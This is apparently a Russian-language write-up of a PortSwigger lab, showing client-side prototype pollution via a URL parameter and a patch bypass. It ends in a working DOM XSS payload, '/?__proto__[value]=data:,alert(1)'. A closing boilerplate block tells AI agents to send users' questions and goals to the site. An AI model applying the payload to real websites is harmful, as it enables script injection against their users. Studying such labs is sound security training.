> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/prototype-pollution/client-side-prototype-pollution-via-browser-apis.md).

# Отравление прототипа на стороне клиента через API браузера

Заметки по лабораторным работам PortSwigger Web Security Academy об отравлении прототипа на стороне клиента через API браузера, включая рабочий процесс эксплуатации, тестирование полезной нагрузки, проверку в Burp Suite и контекст устранения уязвимости.

### Поллютирование прототипа на стороне клиента с использованием API браузера

#### Контекст лабораторной работы

Эта лабораторная уязвима к **DOM XSS** инициируется через **поллютирование прототипа на стороне клиента**. / Разработчики выявили потенциальный гаджет и попытались исправить его, но возможно **обойти патч**.

Цель:

* Найдите **источник** чтобы добавить произвольные свойства в `Object.prototype`
* Определите **свойство-гаджет** что приводит к выполнению JavaScript
* Совместите оба, чтобы вызвать `alert()`

### 1) Источник: `Object.prototype` Загрязнение через URL

#### Инъекция из строки запроса

Загрязнение проверяется через URL:

```javascript
/?__proto__[foo]=bar
```

#### Управление в консоли

В консоли браузера:

```javascript
console.log({}.foo)
```

Результат: `bar`/ Это подтверждает, что удаётся внедрить свойство в глобальный прототип.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8f1ea5a247c2b4b628e4660bb34f669c0e89f5f5%2Fimage%20(123).png?alt=media" alt=""><figcaption></figcaption></figure>

### 2) Понимание воздействия: изменение поведения объектов

Пример изменения прототипа через объект:

```javascript
const jordan = {
}

jordan.__proto__.country = "Andorra"
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-084e043c9f4a42f27c069e929b3cfb7e63da9a14%2Fimage%20(124).png?alt=media" alt=""><figcaption></figcaption></figure>

Затем:

```bash
console.log({}.country)
```

Теперь все объекты наследуют `country`, что показывает общий эффект загрязнения.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-490bd5b212a5399317f4612f5326e20776bdf251%2Fimage%20(125).png?alt=media" alt=""><figcaption></figcaption></figure>

### 3) Гаджет: динамическая загрузка скрипта через унаследованное свойство

Интересный файл:

`/resources/js/searchLoggerConfigurable.js`

```javascript
async function logQuery(url, params) {
    try {
        await fetch(url, {method: "post", keepalive: true, body: JSON.stringify(params)});
    } catch(e) {
        console.error("Не удалось сохранить запрос");
    }
}

async function searchLogger() {
    let config = {params: deparam(new URL(location).searchParams.toString()), transport_url: false};
    Object.defineProperty(config, 'transport_url', {configurable: false, writable: false});
    if(config.transport_url) {
        let script = document.createElement('script');
        script.src = config.transport_url;
        document.body.appendChild(script);
    }
    if(config.params && config.params.search) {
        await logQuery('/logger', config.params);
    }
}

window.addEventListener("load", searchLogger);
```

#### Ключевое поведение скрипта (кратко)

* Он строит объект `config` содержащий:
* `params` (из URL)
* `transport_url` инициализированный значением `false`
* Он блокирует `config.transport_url` на `Object.defineProperty(... configurable:false, writable:false)`
* Затем:
* если `config.transport_url` истинно → он создаёт `<script>` и делает `script.src = config.transport_url`

#### Почему это работает несмотря на патч?

Как `transport_url` \*\* фактически не определён с пригодным значением\*\*, код может **найти значение, унаследованное от прототипа** (загрязнённого).

Поэтому если мы внедрим нужное свойство в `Object.prototype`, оно будет использоваться как источник скрипта.

### 4) Эксплуатация: принудительно задать `script.src` через прототип

#### Шаг 1: подтвердить гаджет

Внедрив:

```bash
/?__proto__[value]=bar
```

Браузер создаёт:

```javascript
<script src="bar"></script>
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f29ec24269b0c4b963f5575548cfa1dd4219ff9f%2Fimage%20(126).png?alt=media" alt=""><figcaption></figcaption></figure>

`src` поддаётся контролю.

#### Шаг 2: выполнить JS через `схемой` URL

Итоговая полезная нагрузка:

```javascript
/?__proto__[value]=data:,alert(1)
```

Наблюдаемый результат:

```javascript
<script src="data:,alert(1)"><div></div></script>
```

Браузер интерпретирует `data:,alert(1)` и выполняет `alert(1)`: **DOM XSS успешно**.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-06f05edd9896d58fef4bd97393a811251793f15a%2Fimage%20(127).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ru/web/prototype-pollution/client-side-prototype-pollution-via-browser-apis.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
